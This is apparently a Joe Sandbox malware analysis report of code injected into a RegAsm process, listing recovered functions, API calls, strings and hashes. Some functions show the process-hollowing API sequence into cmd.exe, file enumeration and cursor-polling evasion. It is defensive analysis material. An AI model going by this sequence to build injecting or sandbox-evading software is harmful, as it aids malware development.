Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: _shape does not contain a valid polygon
API String ID: 0-1814939628
Opcode ID: fac199bfcf65d6b315773301bcd50795acb0a56804a732265a461876ddf3881b
Instruction ID: c0feabf9a43850b3be5b93677cb08f8f88ac888f65928ced8ee86ff630a74e39
Opcode Fuzzy Hash: fac199bfcf65d6b315773301bcd50795acb0a56804a732265a461876ddf3881b
Instruction Fuzzy Hash: BFE1BEF68083419FD711DF24CA40A5BBBE9AF88318F04492DF99957222E736F945CF92

Function 0040F402 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130threadinjectionmemoryCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,004355A5,00000000,00000000,00000001,00000004,00000000,00000000,?,?), ref: 0040F458
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0040F46A
GetThreadContext.KERNEL32(?,00000000), ref: 0040F47C
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F49A
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 0040F4B0
ResumeThread.KERNEL32(?), ref: 0040F4C0
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 0040F4DF
WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0040F515
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F53C
SetThreadContext.KERNEL32(?,00000000), ref: 0040F54E
ResumeThread.KERNEL32(?), ref: 0040F557

Strings

(, xrefs: 0040F51E
C:\Windows\System32\cmd.exe, xrefs: 0040F453

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$MemoryThread$Write$AllocContextResumeVirtual$CreateRead
String ID: ($C:\Windows\System32\cmd.exe
API String ID: 1002194503-4087486346
Opcode ID: 281654e82aeba08f9ed743db584db1b0d53a3148f1ba1240ecfb38e14ec91691
Instruction ID: a53594709aa5268cc8a40945d73cbee416d4a3d220e66d8fc4268c42e245e4d6
Opcode Fuzzy Hash: 281654e82aeba08f9ed743db584db1b0d53a3148f1ba1240ecfb38e14ec91691
Instruction Fuzzy Hash: A64157B2A00208AFDB208FA8CC85FAEB7B9FF48701F504035FA05E61A1D375AD048B64

Function 1FEDB400 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 367COMMON

Download Yara Rule

Strings

SELECT %s WHERE rowid BETWEEN %lld AND %lld ORDER BY rowid %s, xrefs: 1FEDB696
SELECT %s ORDER BY rowid %s, xrefs: 1FEDB665
DESC, xrefs: 1FEDB656, 1FEDB65E, 1FEDB67D, 1FEDB685
ASC, xrefs: 1FEDB651, 1FEDB678

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: ASC$DESC$SELECT %s ORDER BY rowid %s$SELECT %s WHERE rowid BETWEEN %lld AND %lld ORDER BY rowid %s
API String ID: 0-3496276579
Opcode ID: 7db3851a2d4635a690ed0728d6a7768a6bc95f797fa2f16945cf30715d581bfc
Instruction ID: 07434f12a3ccd8107528f0983157b2a98223bec0568f3df7a667431230219760
Opcode Fuzzy Hash: 7db3851a2d4635a690ed0728d6a7768a6bc95f797fa2f16945cf30715d581bfc
Instruction Fuzzy Hash: 7FC134759007459FDB118F24D840BABB7E1FF84318F080A2EF89A8AA51F736F546C762

Function 1FF2DB10 Relevance: 18.3, APIs: 12, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d1caa4b66824408f71bb7577ed33237797096ca96307b94b924118b909e08dd
Instruction ID: 385b97cdacd93d57a656011bb892d5942600f3f27b6eda910a65b5835c939d9f
Opcode Fuzzy Hash: 6d1caa4b66824408f71bb7577ed33237797096ca96307b94b924118b909e08dd
Instruction Fuzzy Hash: 0981B276604305ABE7109F68CC90B6FB3E9EF84714F84082DF985DB291EBB5F9058792

Function 1FEE0FB0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

e, xrefs: 1FEE115A

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: e
API String ID: 0-4024072794
Opcode ID: 36bf8875baaf085edaede92fcfbfd96a80b42455c8294c9340591cc07f665f1e
Instruction ID: 17c886ea35adcbc74159480c315fb4db46414c8aff5ab9fcff5db0112d2a0234
Opcode Fuzzy Hash: 36bf8875baaf085edaede92fcfbfd96a80b42455c8294c9340591cc07f665f1e
Instruction Fuzzy Hash: 715129726083819FD705CF28EC80AA7BBE5FF85326F10056EF88586552E735F894C751

Function 1FF2DFC0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

%lld %lld, xrefs: 1FF2E055

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %lld %lld
API String ID: 0-3794783949
Opcode ID: f14034a537264f422fb53bb54ceb57bfd6f985d2d16fd4e710e6ac137f9a6620
Instruction ID: fb6728d27499247e34e6bbec01ea009422be5d4326d61306415221ad0d95365a
Opcode Fuzzy Hash: f14034a537264f422fb53bb54ceb57bfd6f985d2d16fd4e710e6ac137f9a6620
Instruction Fuzzy Hash: 0A31F5766007007BE7125B688C05F5BB7EAEF84720F60441CF68196251E7B6E9128BB3

Function 1FFD14D0 Relevance: 16.1, APIs: 4, Strings: 5, Instructions: 360COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FFD15B1
misuse, xrefs: 1FFD15AC
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFD15A2
API called with NULL prepared statement, xrefs: 1FFD1571
API called with finalized prepared statement, xrefs: 1FFD1586

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-860711957
Opcode ID: f0d174e2f3fd66944bad90bbc6fb588be63afbe40fc3278736dd504cc9792d19
Instruction ID: eec03fb2042eaa2d4618de3ac35242f02985bad7ec7fec08405951c092eee65c
Opcode Fuzzy Hash: f0d174e2f3fd66944bad90bbc6fb588be63afbe40fc3278736dd504cc9792d19
Instruction Fuzzy Hash: 73C1C1B5A047419BF7208F24DC45B577BE5AF44318F08062CF88A8B252E7BAF459C7A6

Function 1FFDD4F0 Relevance: 16.1, APIs: 4, Strings: 5, Instructions: 310COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FFDD5EC
misuse, xrefs: 1FFDD5E7
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFDD5DD
API called with NULL prepared statement, xrefs: 1FFDD5AC
API called with finalized prepared statement, xrefs: 1FFDD5C1

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-860711957
Opcode ID: 6e44c94cf52344e20d6edeefd30aa3f6cfd946d89f2d90d9c19ac8cadf31470f
Instruction ID: 8d9070a800111fc0b1404ab112f5fa064945a60c71fa21bd592acd0a11446a9e
Opcode Fuzzy Hash: 6e44c94cf52344e20d6edeefd30aa3f6cfd946d89f2d90d9c19ac8cadf31470f
Instruction Fuzzy Hash: 8FB1B0B59047019FE3118F24D854B5BBBE4BF45318F08456CF99A8B382E7B6F449CBA2

Function 0040CBEF Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 298filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040CC14
FindFirstFileA.KERNEL32(?,?), ref: 0040CC2B
StrCmpCA.SHLWAPI(?,00436490), ref: 0040CC4C
StrCmpCA.SHLWAPI(?,00436494), ref: 0040CC66

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

lstrlen.KERNEL32(?,0043589D,00436498,?,00435897), ref: 0040CCF9

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

Part of subcall function 00407F9E: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407FB9
Part of subcall function 00407F9E: GetFileSizeEx.KERNEL32(00000000,?), ref: 00407FD0
Part of subcall function 00407F9E: LocalAlloc.KERNEL32(00000040,?), ref: 00407FE7
Part of subcall function 00407F9E: ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 00407FFE
Part of subcall function 00407F9E: CloseHandle.KERNEL32(?), ref: 00408026

FindNextFileA.KERNEL32(?,?), ref: 0040D0F4
FindClose.KERNEL32(?), ref: 0040D108

Strings

%s\*.*, xrefs: 0040CC0E

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$Closelstrcatlstrlen$AllocCreateFirstHandleLocalNextReadSizewsprintf
String ID: %s\*.*
API String ID: 421190936-1013718255
Opcode ID: dcf7cb27067e093c69ca87744773c62b58f9392ba6ca4aa0584ed357934bd22d
Instruction ID: 09b55a4ba6dc479320f1b7f92dd53de2c1caac739bc997f9fbcfb96b2ef1cc22
Opcode Fuzzy Hash: dcf7cb27067e093c69ca87744773c62b58f9392ba6ca4aa0584ed357934bd22d
Instruction Fuzzy Hash: 89D1DE71D0112D9BDF20EF25CD46ADD77B4AF44308F4104E6A908B3162DAB96FC58F89

Function 1FF94D40 Relevance: 14.0, APIs: 9, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee9c157831fc4860f8b5fa0b9f7bb66af958fcc9ee50842260527b34f1ee5ff2
Instruction ID: f6bcbadad56b6c462c8988ed30b7705bcf325a220d5db16a557666db8b23e71c
Opcode Fuzzy Hash: ee9c157831fc4860f8b5fa0b9f7bb66af958fcc9ee50842260527b34f1ee5ff2
Instruction Fuzzy Hash: 1EF101B19047029BF3109F25CC88A2BB7F8BF85319F04462CF94586251EBB9F555DBE2

Function 1FF65940 Relevance: 12.4, APIs: 8, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e018fb9f299d7e678d65c933a3b4edcfd3de3b442cd1447c3f0f4e2a7f7f057
Instruction ID: 9f53636c3d6d9197f8a2d9479ded27b7ea6880cea102fc8ae66a2977760685c5
Opcode Fuzzy Hash: 5e018fb9f299d7e678d65c933a3b4edcfd3de3b442cd1447c3f0f4e2a7f7f057
Instruction Fuzzy Hash: FFC15777E187414FE7008A28CC857DB7791EFD1330F9C072EE48597292FAA6A549C792

Function 004017FD Relevance: 12.1, APIs: 8, Instructions: 68sleepthreadCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32(00000000,00000001,80000000), ref: 00401813
SetThreadDesktop.USER32(00000000), ref: 0040181A
GetCursorPos.USER32(?), ref: 0040182A
Sleep.KERNEL32(000003E8), ref: 0040183A
GetCursorPos.USER32(?), ref: 00401849
Sleep.KERNEL32(00002710), ref: 0040185B
Sleep.KERNEL32(000003E8), ref: 00401860
GetCursorPos.USER32(?), ref: 0040186F

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CursorSleep$Desktop$InputOpenThread
String ID:
API String ID: 3283940658-0
Opcode ID: 4a5ab55322fda0c951dd3db4c00382c86881fee2ac6b3fcb119c3f26447c7022
Instruction ID: 8e3590d32f004ede9d64efd9f5e295f686e91dc69ef6f9024dea27a13ce5b168
Opcode Fuzzy Hash: 4a5ab55322fda0c951dd3db4c00382c86881fee2ac6b3fcb119c3f26447c7022
Instruction Fuzzy Hash: 9D113032E00209EBDB10EBA4CD45ABF7BB8AF00301F644876D501B21E0DB789B45CA68

Function 1FEE7810 Relevance: 10.9, APIs: 7, Instructions: 422COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e77b5972e6293bbaef22b5d479bac3c7add13431e55fcf33b4a15e8eaf232e3
